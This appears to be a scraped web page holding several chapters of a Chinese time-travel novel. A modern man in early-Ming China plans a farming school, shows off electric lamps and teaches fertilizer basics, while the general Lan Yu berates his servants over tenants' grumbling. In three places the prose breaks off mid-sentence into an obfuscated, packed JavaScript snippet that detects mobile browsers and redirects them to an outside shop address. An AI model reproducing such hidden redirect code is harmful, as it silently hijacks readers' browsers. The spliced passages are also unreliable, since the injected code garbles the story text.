他否定了刘廌的说法,是因为那些儒学书籍他也不熟,更不想补充这方面的东西:“既然我想让全部孩童都入我乡学,自然是要教他们生存之道,像你们说的,读书的出路是科考,那现在好几年没开科考了吧,你读好了就得靠人举荐,那我们永乐庄能有这么大能耐把全部人举荐上去?” 朱安宁说得很是笃定。 却也让其他人有些尴尬。 认真说的话,这永乐庄要真的是全部孩童都能读出些门道来。 他们举荐那是轻而易举的。 可惜的是朱安宁只以为他们是地主傻儿。 而他认识的最强力的伍爷,在他心中,恐怕也不会为这些事情频繁动用自己关系的。 “你们走的那条正道,你们自己都不一定走得通,更不用说庄里这群孩童了。” “所以先生的意思是?”朱橚总算听了了点门道来。 他知道的朱安宁,似乎在四书五经这里造诣一般,平时说话也没听他怎么引经据典过,一看就不是什么正经儒生。 但是,朱安宁在各种杂学上,那是令人讶异的博学,好像什么都能唠一点的那种。 这就得多亏在穿越前,朱安宁是个b站大学毕业的优秀学子了……各种乱七八糟的科普视频他可没少看…… “难不成先生想教授他们农学?药物?”朱橚推断了个八九不离十。 朱棣也马上反应了过来。 一众人又把目光投向了朱安宁。 只见朱安宁又重新端起了饭碗,不慌不忙地夹了片酸菜鱼。 送到了口中。 啧,这群人不笨嘛,特别是小周和小燕,居然马上能反应过来自己想干什么。 看来是和自己相处得久了? 他这般想着,继续开了口:“正是,孔孟之学,耗时费力,并非每个孩童都适合,但是并不代表他们就不需要学习,他们可以在学习认字的基础上,去学些其他能让他们安身立命的东西。” 话题重新聊了起来,朱安宁都在动筷的话。 其他人也恢复了干饭状态,只是不再像先前那样,只吃不说。 “但是朱哥,有什么能比耕地更适合他们啊,他们是农户啊,那是世代为农的啊,耕地还用教?” 对于朱安宁的说法,他们并不觉得有什么大问题。 认字又不是什么大事。 但是说到安身立命,这……他们农户安身立命的本事就是耕田呗,能有什么教的。 “对啊,耕地有什么好教的……”李景隆也是附和了句。 至于本来就没什么耕田经验的刘廌刘畾兄弟,那则是没有发表意见。 这几人的态度也是把朱安宁都给逗乐了。 感情自己学了四年的本科,在他们眼中就是有什么好教的,这种说法。 朱安宁又把一块嫩滑的肉片丢到嘴巴里,喝了口爽到飞起的可乐才说道:“小燕小周,耕田没什么好教,那你们天天在那里干嘛……” 朱安宁一开口就把他们噎住。 最近他们都在按照朱安宁的指示,在教这群没种过水稻的农夫怎么种植水稻,还教了他们一些南方地区才会用的肥料。 这种稻从育秧开始 ,到现在准备插秧,那是一个步骤接一个步骤,虽然不算复杂,但是也是艰辛得很的。 “但是这种事情,不是由他们爹妈去教就好了么?”朱棣还是一副犟得很的样子:“咱们教会了这群农户,农户自己教自己家孩子不就得了呗,耕个田还专门建个乡学……这也太离谱了吧……” 其实朱棣说得并不是没有道理。 自古以来,各种技艺就是父传子子传孙,要是有什么小秘密,那更是打死都不外传,哪有说专门建个学堂来学这些的啊。 朱橚本来还算支持朱安宁,但是听朱棣一说,也是觉得为了这种小道,专门大费周章地建个乡学……是否过于离谱。 “怎么离谱了?父传子子传孙,家家户户都有自己的一套法子,虽然听起来好像没什么,但是你们有没想过一个问题。明明就是同一个地方的田,肥力也差不了多少,有些农户种出来产量低,甚至质量也差,有些就高产质优。” “那……那当然是耕种的法子有差别啦。”李景隆那是脱口而出,只是嘴巴里含着饭,说得多少有些含混不清, “汉时我们获得了黄瓜、大蒜、胡椒。南北时期的大葱,盛唐的菠菜、西瓜,宋时的新稻,这些耕种的法子是随着新作物的到来自己冒出来的?” “当……当然不可能啦。”朱棣皱着眉头,突然有些说不出话来。 “若什么东西都任由农户自行去试,去种,产量不稳定,新作物更不好推广。”朱安宁,咚一下把碗放到了桌面上,做了阶段性总结:“耕种本就是精细活,其他地方我管不着,但是起码在我自己的地里,我想农户们收成更好些,这乡学或者说学堂,就是让那些孩童们学会如何标准化种植的地方。” “标准化?” “呃,就是让他们有个耕种的准则。有了准则,就不会说出现这亩田三石,旁边这亩却只有一石的尴尬情况。” “朱哥你的意思是咱们整个庄子都推行一套耕种的法子?” “这是必然的,如果有机会的话,咱们整个大明都起一个标准去耕种,亩产一定会有提升的。” 朱安宁雄图壮志,像极了那些准备上市的ppt高手,开口就是给朱棣朱橚一顿大饼。 “但是……先生,不同地区的耕种条件,应该是不一样的啊……” “啊对对对,说得太满了,不同地区,耕种的法子肯定得有差异,但是同一片地区,咱们还是可以起标准的嘛,慢慢来慢慢来。总之先通过正确有效的耕种,把咱们庄子的产量给提上来,有了高产,我这地租,不就能收得更多了么!” 地租? 听见朱安宁的说法。 那朱棣等人是完全不信的。 要想收多点地租,你直接抬高抽成不就好了么! 这么费力巴拉的…… 有病啊! 这朱安宁就是心里惦记着这些老农们,他们是看得出来的。 所以他们都笑了起来。 笑得朱安宁有些尴尬。 “干嘛!” “之前我当先生是大善,现在来看,这大善还是不足以形容先生啊。”是朱橚开了口。 这话也是让朱安宁一下就绷不住了。 尴尬的表情是溢于言表。 收租什么的,要说完全没有也是假的,但是更多的,他确实是想能不能带乡亲们正经地脱个贫。 靠自己天天大撒币那可不叫脱贫。 “所以你们不反对了?”摸了摸自己的鼻子,朱安 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13378688|141046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宁闷声说道。 朱安宁的这套说辞还是很有效的。 甚至让朱棣都开始思考了起来。 标准化……也就是朱哥说的耕种准则。 这事好像很有意义啊…… 说不得晚些得跟大哥和父皇说一声。 正当朱棣在思索的时候,朱橚已经先一步做了决定。 “先生的这个学堂,可需要我们?” “就等你们这句话了,肯定要啊,总不能我一个人去教吧!” 朱安宁咧嘴笑了起来。 呼,没有白做这一顿饭。 这结局挺好的。 能有人帮自己就好。 另外他没说的是。 其实这乡学学农,还和新粮有关。 朱安宁是早就盘算好了。 这所谓的三种新粮,那是一种都不能留的,必须尽快种出来尽快献上去。 不说这主粮对大明的战略意义,就说他种出来然后隐而不报,那可是真的有取死之道了啊。 所以马上献上去那是唯一选项。 至于番茄辣椒这两种。 朱安宁可是起了些垄断的心思了。 通过这段日子的观察,他是看出来了伍爷的能量可不算小。 自己通过乡学学农的形式,去慢慢教会庄里的人们利用一些空余的田地去种这两种东西。 然后,自己负责收购和贩卖。 那绝对是暴利啊! 因为…… 独家出售!垄断! 皇帝老儿的赏赐,那就是一次性买卖。 自己的产业,才是源源不断的财富! 唯一的不安全的点就是,会不会被 勋贵自己摘桃子…… 他还是有些怕的。 别自己辛辛苦苦大半年,一朝回到解放前就算了,还直接被勋贵们投胎送回现代,这可就不太爽了。 免不了,还是得找个日子和伍爷商量下,还是得拉他入伙,自己一个人干。 风险太大太大…… 善人,和想要赚钱走上明朝肥宅巅峰的人,并不冲突。 可怜自己,穿越这么久,那些所谓的什么红颜啊,漂亮姑娘啊……那真是一个都没见过。 乡里的大妈倒是不少…… 真是可恶! 得早点赚够钱,然后……嘿嘿…… 朱安宁想着,免不了留下了点口水。 “朱哥,朱哥,嘴巴嘴巴……” 最后,还是朱棣提醒了他。 ———————————————————————————— 殿内除了朱元璋,角落里还坐了个朱标。 只是此时我们的懿文太子,已经早就闭上了眼睛,累的…… 几个日夜,他们几人都在这里研究朱安宁那得来的阴损玩法,只是讨论来讨论去,一众人都卡在了第一步那里。 那就是锚定粮食。 一粒米难倒朱重八,他们几人分析完了整个大明的官仓余粮,最后的得出的结论是,不用天灾,就是民众的正常兑换,都会让他们头疼不已。 因为这些年,朱元璋发的宝钞实在是太多啦!!! 市面上留存的宝钞现在已经无法估量。 没蹦的原因只不过是老朱用屠刀和威严在勉力维持而已,大明的国家信用已经透支得差不多了…… 于是,这事还是只能等新粮出来了,才有商量的余地。 不过好就好在,既然决定要做,他们还是有事情可以提前布置的。 那就是各地官仓的定址,以现有的那些官仓,肯定是不够用的。 所以他们要提前开始储备多些交通便利的空仓才行。 所以此时的老朱,就是坐在案前,看各地呈上来的情况。 这些日子,终于把各地的信息收集得七七八八。 而此时,内侍太监却突然跑来传了个话。 “戚祥?让他进来。” 朱元璋话毕没多久,匆匆在驿站那里换好衣服的戚祥,出现在了朱元璋的身旁。 戚祥看了眼好像已经熟睡的朱标,便走到了朱元璋身边耳语了一阵。 “啊?他们要建乡学?种田种得好好的,怎么突然就说要办学了?!”朱元璋也是怕吵着朱标,压低声音说道。 第八十五章 亮瞎狗眼 傍晚,太阳还挂在天边。 距离太阳下山还有段时间。 朱安宁是不知道,他的计划已经被透露到朱元璋那边去了…… 是朱棣和朱橚,把更具体的情况透露给戚祥,让戚祥回城里报告的。 毕竟,他俩现在忙到跟个鬼一样,根本无法分身。 “我知道大家白天很累。” “所以这不就准备晚上才来给你们授课么。” “只有我把你们教好了,你们才好去教那些孩童啊。” “不要摆着副苦瓜脸。” “我今晚可是煮了好吃的给你们的啊。” “哎呀你们问晚上怎么读书?” “晚上授课我自然是有法子的啦。” “油灯?那什么破烂玩意!小周和小燕是看过我的灯的。” “嗨,我这灯,亮如白昼,尽管放心。” 朱安宁正坐在蒯富他们打造的舒适躺椅上,对远处的几个年轻人喊着话。 他们无一例外,都是大汗淋漓,满身是泥。 皆因,今天……是戚祥安排挖渠的第一天。 农夫们都很是积极,奈何实际操作的技术那是一个比一个菜。 “俺们的土没有那么难挖哩。” “周爷,这么挖确定莫有事情吧。” “燕爷,水漫上来了水漫上来了!” “真滴保没事?额怕水啊。” 下午是一群人围着朱棣和朱橚,毕竟只有他们看过朱安宁给的水利篇,没有经验,好歹还是有记忆的。 一群没有耕过水田的农夫,围着两个没有挖过渠的皇子,那是嗷嗷叫了半天。 直到后面朱棣终于是受不了,他冲回了院子里,把刚干完活的刘家兄弟和战神都给拉了出来一起受苦。 这就是五人满身泥泞的缘由。 朱安宁本来也是想出去帮忙的。 结果一看这架势,又连忙缩回了院子里去…… 他有充分的理由继续呆在院子里,比如他要提前整理好给这批职业小学老师讲课的教案,又比如他要做晚饭。 总之实在是不想,去参与这个挖泥的工作。 于是,他便也是心安理得地在院子里呆了一下午。 等来了这五人满身泥泞地回来。 他们现在正站在水缸边上,给自己冲洗。 一边和朱安宁在说话,一边也是有些恼火。 耕地还好,挖地真是是挖得他们快脑淤血了,特别是其实他们也不熟练,一群农夫还在在那边叽叽喳喳…… 真是令人痛苦不堪。 “哇,这渠也太难挖了吧!” 朱棣把脏衣服往地上一甩:“引个水怎么这么麻烦!” “呵呵,万事开头难嘛……” 朱安宁安慰了两句,后面的话他就不累赘了,开头难,中间难,结尾也难……这才是世间常态,工作的日常。 “哎,明天也许能好些吧……” 兴许朱棣也知道是自我安慰,他一边说,一边在叹气。 “明天会更好明天会更好,你们赶紧洗干净来,今晚有好吃的。” 朱安宁也不想再继续这个令他们痛苦的话题,而是说起了晚饭。 这下他们果然就不颓了。 甚至刘家兄弟的眼睛都亮了起来。 他们可是尝过水煮肉和酸菜鱼有多好吃的。 更不必说饭后那杯,叫什么可乐的饮物,那简直能让人欲仙欲死。 “先生今晚吃什么?!”朱橚大声问道。 在躺椅上朱安宁听见朱橚的问话,也是终于懒洋洋地站了起来。 他走到了炉子边上,把盖子掀开,看了眼里面的菜肴。 诱人的酱汁在咕咚咕咚冒泡。 翻腾出来的是绝赞的香气。 随着锅盖被揭开,立马就传遍了整个小院。 混杂着农家的柴火味,那是一下就把朱棣等人给勾得肚子直叫。 “鸡公煲!”朱安宁乐呵呵地介绍了今晚的菜色。 当然一次就能成功,也是感谢预制酱汁的鼎力支持……现代科技就是牛! 这汤汁饱满,鸡肉嫩滑的感觉,真是太美妙了。 一会说不定自己也能猛干两碗大米饭吧。 朱安宁这般想着,顺手把提前切好的葱段芹菜段丢了进去,又盖好了锅盖。 他准备盛饭,好让这群明显就是饿死鬼状态的人,一过来就能吃上热腾腾的饭菜。 果不其然,当他装完最后一碗的时候。 这群人就已经换好了衣物,冲到了桌前。 “朱哥,辣椒不是用完了么!!!怎么还有这辣味!” 是朱棣在发问。 “呃……辣椒是可以晒干用的,味道一样辛香。” 朱安宁不想解解释太多……便随口回应了他。 几人看着那还在不断冒着热气的锅,那是望眼欲穿。他们都在等着朱安宁开锅。 朱安宁也没有辜负他们的期待,他笑着把锅盖掀了起来,放到了一边。 这香味,凑近了闻,那是完全不一样的感觉。 被朱安宁微微煎过的鸡肉,在汤汁里,勾魂夺魄。 朱棣等人那是立马就把目光转向了朱安宁。 没有他的开口,大家也不敢动筷啊。 “吃吧吃吧!” 朱安宁一声令下,而后,没有过多的言语,只能听到被烫到不断哈气的声音,和嗯嗯嗯的点头赞叹声。 这副阵仗,让朱安宁突然就有些汗流浃背了,不会不够饭吃吧。 这几人怎么突然变得跟饭桶似的…… 他完全是忽略了今天大家的劳作量,那也是惊人的啊。 结果是朱安宁才吃下第一块鸡肉。 朱棣就已经开始起身盛第二碗饭了。 紧随其后的是李景隆…… “你们……你们慢慢吃,别噎住了……”朱安宁扒拉了两口饭,终于还是忍不住开了口。 “好吃!太好吃了!” 是刘畾含混不清的回话。 剩下的人都没有管朱安宁说了些什么。 吃才是目前最重要的事情。 “我……我去拿点面出来……”朱安宁看着那锅肉被消灭的速度,和身后米饭下降的情况……知道肯定是不够吃的了。 挂在那远处田埂上的太阳,还未下降多少。 这顿朱安宁算是准备了许久的晚饭,就此告终。 顺带还消灭了他三捆挂面…… 体育生才这么能吃吧。 朱安宁那是瞠目结舌。 他才吃了一碗饭。 剩下的所有东西,是所有都被吃得一干二净,甚至汤汁都被他们倒去捞面了。 “朱哥,这东西好吃,鸡公煲对吧,太好吃了!” “呃!”李景隆也是打了个饱嗝:“确实,比中午的还好吃。” “呃!我倒是觉得中午的好吃,够味,但是今晚的也是极好啊!”朱橚跟上。 刘家兄弟也是点了点头,算是认同朱橚的说法。 “好吃就行……”朱安宁是无奈地放下了碗筷,心里想的是,一会回去泡合味道吧…… “对了朱哥,你说你晚上先教我们是什么个事儿啊?”吃饱喝足的朱棣,也终于是恢复了些智商,开始思考进院子时朱安宁对众人说的话。 “呵呵,还记得啊,我以为你们都把脑子吃没了呢。” “没有没有……刚才实在是饿得要紧……”包括朱棣在内的几人,都是有些尴尬,毕竟刚才他们的吃相可不能说好看。 “就是晚上,我得先把咱们乡学要教的东西确定下来,然后先教给你们,你们再教给那些孩童。” “不对啊朱哥,我们几个现在白天活都多到干不完,哪来的时间去教那些孩童啊。” “嗯,这个我也想过了,所以前期主要是让季畾和季廌来,毕竟院内的田地我也可以帮三江一起打理,而小周小燕你们现在肯定是没时间去管我这乡学的了,但是后面农户们耕过一季,熟练以后,事就少了嘛,到时再过来帮忙,现在提前听我讲讲?” 朱安宁虽然在他们回院子时说得像是命令般,其实他也知道,他又不是这几人的什么真正顶头上司,这疑问句也算是征求他们的意见。 刘畾和刘廌一听到可以从农活中解脱出来,那是眼睛又亮了不少。 不说别的。 他们两兄弟今天的待遇可是强度极高的啊…… 李景隆,朱棣朱橚三人还算是锻炼了些时日。 身子骨也结实。 刘畾刘廌本身就是读书人,纯读书人,今天这又是农活又是挖渠,他们还能爬回来,已经是极其不容易了。 要是说以后能少些活,他们是一百个愿意的啊。 所以他们点头点得飞快,这频率比车轱辘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13378689|141046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都快。 而李景隆就有点苦瓜脸了,好不容易逮着两个倒霉蛋分担工作,那听朱哥这么一说,接下来的时间自己又要苦逼了呗。 朱棣朱橚倒是还好,这安排对他们影响不大,所以也是点了点头。 朱安宁见众人都没有反对,便继续说了下去:“白天大家都要干活,所以晚上,我才有时间给你讲。” “先生你方才已经讲过了。” 此时已经是接近下山的时刻,太阳黯淡了不少。 众人也就是借着这最后的光芒和炉子的火焰在聊天而已。 古代不像现代。 入夜后一片漆黑才是常态。 除非是什么繁华的大城市。 油灯这种东西,平民也不会说天天给你点上,而且点上干嘛? 灯下夜谈? 天天被生活追着跑的普通人才没有这闲情逸致。 这也是日出而作日入而息的来源。 自然照明—太阳是古代最重要的光源。 朱棣和朱橚是看过朱安宁的房车灯的,至于李景隆,他已经在这里住了些时日了,偶尔也能看见晚上朱安宁的房舍内灯火通明。 只是他以为是点了许多盏油灯。 “嗯,至于灯,你们不用担心。”朱安宁笑着走到了房车边上,他夜间能上课的依仗,就是现代最普通不过的电灯。 他按下了户外遮阳棚的灯光。 院子这一隅,变得亮堂无比,要说这几十瓦的灯能照亮整个小院也是说笑,但是照亮这一小片是勉强够的 了。 李景隆,刘廌和刘畾,都在这一瞬间被刺得睁不开眼睛。 主要是他们居然敢直视电灯…… “这……这……”三人皆是说不出话来。 唯有朱棣和朱橚还算淡定。 嘿,一副没见过世面的样子,这是太阳灯嘛,朱哥早就给我们看过了。 只是他们没看到的是,朱安宁看着这照明效果,是皱了皱眉头。 不行啊,人这么多,还是有点黑。 于是,他翻身去到了副驾驶的位置上,掏出了一个方型的小盒子。 吃力地拎到了桌子的另一边。 李景隆那仨人刚适应了电灯,还未发问。 却又看见了朱安宁,把某个奇怪的东西插到了那方型盒子上,摸索着按什么似的。 一瞬间,那方天地,又是一片亮堂。 “嗯,两盏灯,绝对够了!”朱安宁满意地拍了拍手,笑呵呵地说道。 这下,连朱棣和朱橚都不淡定了。 “这……这……”他们也和李景隆等人一样,被光亮晃到了闭上了眼。 “朱哥!你不是说这太阳灯不可移动么?!” “啊?哦,这不是也要依赖这小盒子么,依赖这小盒子的,这灯,是用不了多久的。”朱安宁拍了拍这小黑盒子,笑了起来。 他也没有说谎。 确实用不了多久,也就是几十个小时吧。 毕竟,这可是只有一度电的的户外电源。 玩房车的人基本都会备一个,以防不时之需。 总算回过神来的刘廌,那是一下就跳了起来。 “这莫不是什么妖术!!!” 要说现在对这两盏灯最接受不能的,自然就是刘廌和刘畾两兄弟了。 他们哪接受过这种现代震撼。 其他三人那是要好上许多,起码还算淡定。 朱橚看这两兄弟激动的样子,也是连忙站了起来,想把这刘廌按回座位上去。 “什么妖术,这是朱哥的太阳灯,比油灯是亮堂,但是也不是说能一直用的,对吧朱哥。” “呃……啊,对对。”朱安宁尴尬的笑了笑,心想这小周脑补能力可以啊……亮就用不久是吧。 自己车里的电,可没有这么少哦。 “就算不能久用,也太过骇人了吧!这般亮堂,真就是夜间太阳!不愧是太阳灯,那我们夜晚看书,不就轻松许多了么?!”刘畾环顾四周,那是看东西清清楚楚,哪有油灯的那种昏暗感! 要是自己能有这种太阳灯,那不是就能有更多的时间去看书了么? 刘家两兄弟对视了一眼,那是对着灯的渴望。 “所以今晚我们讲习的内容是?”朱棣没有管那么多乱七八糟的事情,他对朱安宁问道。 “啊?今晚么?今晚,我们讲,肥料!” 第八十六章 蓝玉和蓝梁 永昌侯府上。 几名家丁正跪在地上,身子是止不住的颤抖。 无他,他们的主人可不是什么善茬。 蓝玉,朱元璋开国路上的猛将。 打仗猛,性格猛,对别人也猛。 甚至有评价说他甚是疯癫。 这个朱标的铁杆单推人,现在还没升级到国公,目前还是永昌侯。 但是这并不妨碍他随意动用私刑。 这便是家丁跪在那里瑟瑟发抖的原因。 “你们说说,我养你们啊,也是掏了银子的对吧,怎么能几个佃农都管不好呢?让那些佃农在那里说些什么家长里短的闲话,活也不给咱好好干,这成何体统嘛,对吧。” 坐在主位上的蓝玉,喝了口茶,那是笑得很欢的样子。 而只有亲近他的人知道,笑得越欢,那是越危险。 只见一个看着年纪不大的人终于忍不住,站了出来,先是行了个礼才敢开口。 “义父,并不是他们办事不力,而是事出有因啊。”那唤蓝玉叫义父的年轻人,是蓝梁,蓝玉诸多义子中的一员,办事刚猛著称,颇有蓝玉的作风,所以深得蓝玉的赏识。 “哦?蓝梁你替他们说话了?那你来说说,有什么理由,告诉我!堂堂永昌侯家的人,连几个贱民都管不好,让他们在那里乱嚼舌根,说什么永昌侯嚣张跋扈,田十收七,那是猪狗不如。要不是有人告诉我,我还不知道我天天被这些贱民们念叨呢。”又是一笑,只不过这笑,已经带上了怒意,那茶杯甚至狠狠地砸到了桌面上,直接就碎成了几块。 那是直接就把下面的人惊得噤若寒蝉。 只有蓝梁还算有理智,他抖了抖,默默地上前去,也不顾碎片割手,迅速把茶杯碎片清理到了一边。 “义父,那些贱民嚼舌根,全是因为郑村坝隔壁起了个新庄子,那边的地租实在是太过离谱了啊。” 蓝梁本就是负责蓝玉俸禄田的人之一,基本就是个大管事的职责,所以他也知道永乐庄的情况。 “什么新庄子?是用来归置那些外地过来的穷鬼的吧,他奶奶的一群贱民,自家的地耕不好,跑来我们这里要饭的垃圾!”蓝玉半躺在座位上,嘴巴那依旧是不干不净。 不过他家里的仆人早已习惯自家老爷这个性格,只要不是责罚自己,那比什么都强。 特别是跪在那里的几个仆人,那是只能求蓝梁好好解释了。 “那新庄叫永乐庄,地租那是十收一,不少佃农都想过去那边种地了,只是那边早就满人了,才作罢,只是有了这十收一的例子,看咱们的十收七……那嘴巴自然就是不干不净了……” “贱民就是贱民,咱还余了三成给他们,他们还不谢谢咱,真是不懂得感恩!马拉个巴子的,要不是咱给这天下打个太平,他们还在元人那里要饭呢。”蓝玉一拍桌子,那是直接站了起来。 话说得心安理得,毫无收敛。 在他心中,这个天下都是他帮朱元璋打下来的。 那这个国里的子民,也就应该要供养他,这是他们的荣幸。 不得不说,这就是最标准的淮西勋贵的做派。 民间四处传淮西勋贵欺压百姓,嚣张跋扈,就是他们这批公侯的态度问题。 欺压百姓?这不叫欺压,这是他们应有的待遇,他们的老大朱元璋是天子,那他们与有荣焉,也是天下手下的人上人。 “蓝梁,你好好给咱说说,那永乐庄是什么来头,收一成?是不是脑子有毛病,你们几个也是废物,这样的庄子你们居然不一把火把那地主家给烧了?还有,其他侯爷家的管事不知道这事?” 蓝玉虽然跋扈,但是也不是什么弱智。 他多少感觉到了点蹊跷,所以问起了其他家的情况。 只见那蓝梁连忙接了话:“已经有不少爵爷家的管事去过了,都被……都被曹国公家的小公爷挡了回来,按小国公的说法,那地和他们家有关,权当是可怜这些流民,第一年先给他们低的租子,晚些时候说不定就会恢复正常了。” 听蓝梁这么一说,蓝玉也是心里一惊。 “曹国公家的小国公?!” 他不由得想到了最近朝中,被惩戒的那几个兄弟。 连忙追问道:“是不是有几家态度挺恶劣的,还没等那李九江亮身份,就嚷嚷着要教训一下别人那种。” 蓝梁却也是奇怪地看向了自己的义父。 他一向是不管下面的这些小事才对啊……怎么知道得这么清楚。 只是蓝玉问起,他也不好不答,便把那几家伯侯的名字报了出来。 只见蓝玉沉默了良久。 对上了……正是朱元璋处罚的那些人。 所以是曹国公把事报给了陛下? 不对啊,这些小事,怎么就牵扯到了国公和陛下呢。 就一个庄子的地租而已,十收一也好十收十也罢,在他们这种层级的人心中,应该就是小事而已啊! 很奇怪。 打仗好的人一向相信自己的第六感。 蓝玉突然觉得这永乐庄不简单。 他一把拉住蓝梁的肩膀:“你没有做什么出格的事情吧! ” “义父……我……我就是去那庄里询问了一下而已,连小国公的面都没见到。” “那庄里的人怎么说?” “庄里的人说他们朱爷那是菩萨下凡,来帮他们的,说什么不仅帮他们……” 蓝梁还在细细说道着他打听到的东西。 蓝玉却是摸了摸身后,又坐到了位置上,他根本就没有细听蓝梁说的那些永乐庄的农夫夸朱安宁的话语,他只是庆幸,自己的义子没有乱来。 “你没有闹事就好。” 这个朱元璋手下的大将,此时的后背有点湿。 朱? 小国公都在那里? 还有陛下对那些伯侯的惩戒…… 只见蓝玉把目光投向了蓝梁,把蓝梁看得一阵发毛。 “蓝梁,你这次做得不错,以后永乐庄的事情你别管。”接着他又嫌恶地看了看下面的那几个仆人:“至于这几个废物,你带下去,该怎么处理就怎么处理。” 这句话说完,几个仆人都松了口气。 虽然蓝梁的责罚,也很狠。 但是,至少不用被活活打死了吧…… 蓝梁正想领命,却又被蓝玉叫住。 “那些佃农贱民的事,差不多就行,一点破谷子能赚多少钱,前些日子,你兄弟们发现的那个石膏矿,你们可要好生经营!” “是!义父!” —————————————————————— 永昌侯府上的事情,朱安宁自然是不知晓的。 他正在灯下给几人讲着肥料的基本知识。 什么氮磷钾,金坷垃之类的东西,他都尽量替换成古人好理解的话语。 比如什么这缺氮素,作物就黄,缺磷素,植物就难开花结果,缺钾素,植物就长不高。 尽量简洁地讲。 其他人倒是没什么问题,刘廌和朱橚却是不好打发的人。 “先生!这氮素磷素钾素究竟是个什么意思!”特别是朱橚,他一旦开始学和植物有关的东西,就会进入破砂锅模式,也就是之前把朱安宁折磨了个半死的那种情况。 “世有五行,这就是五行下的一些旁支……总之记住结果就行……不要觉得我诳你们,接下来才是重点,你们得知道什么肥料里面氮素多,什么肥料里面磷素多,什么肥料钾素多!” 朱安宁话音刚落,他就看着朱橚又想发问。 只是朱安宁早就一手打断技能炉火纯青,他直接就先开口抢了话。 “比如咱们最熟悉的草木灰,里面就有大量钾素!耕完一轮不烧田铺上些草木灰,你们明天尽管去问问那些老农,他们的麦子能不能长高!就……就算能长高,也绝无可能比铺了草木灰的地高。” 朱安宁不仅举了事例,还煞有介事地搬出了庄里的老农,让他们尽管去问。 这一招果然奏效。 十万个为什么暂时停下了提问。 几人都在朱安宁提前备好的纸上记着东西。 经过这个开头,朱安宁的肥料课终于顺利了不少。 很多所谓的现代科技,在古代都是有迹可循的。 什么肥料配合什么作物好,现代科技不过是把经验 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13378690|141046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好好总结起来了而已,朱安宁就是配合着各种例子,去反复给他们灌输知识。 其实朱安宁也没有那么牛逼,毕业那么多年还记得那么清楚。 他只不过是花了时间,把电脑里的农学教材,转译成自己的话而已…… 由于朱安宁的例子实在是太过详实。 几人中唯一有过种植经验的朱橚都被压制住了,其他人更是没法发问,只能一个劲地记。 过了不知多久,当李景隆写下最后一个字,一群人不约而同地叹了口气。 朱安宁也终于可以摆摆手,他喝了口水才说道:“行了,先休息下,剩下的一会再讲!” 他伸了个懒腰,多少有些疲惫。 下面听他讲的人更是头晕眼花。 也就是朱棣和朱橚稍微好点。 朱棣皱着眉头看着自己记下的那一堆东西,总觉得熟悉又陌生。 “朱哥!你不是给过我和五弟那农事相关的书本么,和您今天讲的很像,但是说法又有点不一样啊!” 听朱棣这么一说,朱橚也是反应了过来。 “对对对,先生,很多东西听着熟悉,但是您那边的说法好晦涩啊。” 这般说法可是把朱安宁给整脸红了。 他也不想啊,他又不是什么正儿八经的老师。 也不可能说突然发明什么让古人更好理解的说法,也只能按照现代的教材稍加改造而已……至于他们觉得熟悉,那自然是因为他不断抄那农政全书的例子,用来佐证氮磷钾的效果呗…… 对着这群完全缺乏基础现代知识的人,他能讲成这个样子,其实也算是相当不错的了。 “咳,学识哪有会不晦涩的,一听就懂的那是话本!你们几个好好记。” 说不通就撂狠话,朱安宁学着以前自己的老师的做派,开始压朱棣他们。 “先生说的是。”刘廌点了点头。 结果,根本不需要更狠的话。 这几人 的学习态度,比朱安宁想象中要好太多…… 当然他不知道的是,这几人本就是听大儒讲课的人……态度端正那是基本要求…… 课间本来是休息的好时光,但是让朱安宁担心的事情还是发生了。 朱橚又开始了。 “对了,先生,这里有点问题……您说什么农家肥,河肥,这些您都带我们做过,甚至那些老农也知道怎么用,但是这鸟肥?矿肥?特别是矿肥会不会太天马行空了啊……真的有人用过么?” 本来看见朱橚开口。 朱安宁是一下就坐正,他可不想第一节课就丢人。 只是听到一般,他就舒了口气。 还以为是什么问题。 矿肥? 其实就是用制作土肥料罢了。 硫酸钙加人尿,沤个几天,硫酸铵就出来了,这可是优秀到不行的氮肥。 就是不知道这古代硫酸钙好不好买。 应该叫石膏更准确。 他连忙换了个舒服的姿势,开口回道。 “石膏混合人尿,过些时日就能发出臭味,出臭味,这肥就好了,效果极佳,不信改天我们试试。” “试?怎么试啊。”李景隆的眼神相当清澈。 “院里不是还有些空余的地面么,改天把肥料做好,撒豆子下去,豆子长得快,咱们一种种肥料试下去,让你们看看不同肥料的效果有什么差别,刚好也试试我说的石膏做的肥。” 朱安宁心里一点都不虚。 你要说实际去耕种小麦水稻什么的,他最多就是书本知识丰富。 但是你说要做这种实验田,那他可是经验老丰富了…… 对照组实验组设置好,这种实验初中生都能完成,也花不了多少时间。 听见朱安宁的说法,朱橚也是眼前一亮。 “对哦,用豆子试,它长得快啊。” 